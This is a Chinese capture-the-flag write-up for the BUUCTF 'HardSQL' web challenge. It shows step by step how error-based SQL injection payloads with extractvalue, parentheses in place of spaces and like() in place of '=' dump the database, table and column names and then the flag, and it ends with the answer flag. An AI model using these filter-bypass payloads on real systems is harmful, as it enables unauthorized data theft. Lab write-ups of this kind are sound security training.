当前位置: 代码迷 >> 综合 >> BUUCTF Writeup-Web-[极客大挑战 2019]HardSQL 1
  详细解决方案

BUUCTF Writeup-Web-[极客大挑战 2019]HardSQL 1

热度:80   发布时间:2024-01-29 09:03:21.0

BUUCTF WriteUp

Web

[极客大挑战 2019]HardSQL 1

打开后提示sql注入,查看页面源代码:

image-20200717083318843

发现是get两个参数username和password到check.php

因此可以直接用hackbar构造……/check.php?username=aaa&password=aaa,并执行就可以了。用burpsuite直接改数据也行。

然后开始注入,尝试加’、"

image-20200717083820538

发现单引号有报错,双引号没有,没提示有括号,所以应该是普通单引号闭合的字符型注入点

image-20200717084154181

出现这行字说明输入的被过滤,一个字符一个字符测试,发现如and/空格/union/select/=//**/等都被过滤了。

  • 报错注入—>爆数据库名
check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(database()))))%23

image-20200717104731608

? 得到数据库名geek

  • 爆表名:得到表名H4rDsq1
username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
#语句主要用()绕过了空格,用like绕过了=号

image-20200717111115329

  • 爆列名:得到表名id/username/password
username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
#同上,语句不变改一下变量就行

image-20200717111850808

  • 找到flag
check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
#这里要注意!select aaa from table_bbb;不需要引号!!!!!

image-20200717112621835

可是只显示了flag其中的一段。

剩下的用right()显示其他位数的

image-20200717122137437

试了一下得到三段

flag{054a272b-b502-44b5-a7fa-a2

a272b-b502-44b5-a7fa-a22ba996591

fa-a22ba9965913}

去重拼贴起来得到:

flag{054a272b-b502-44b5-a7fa-a22ba9965913}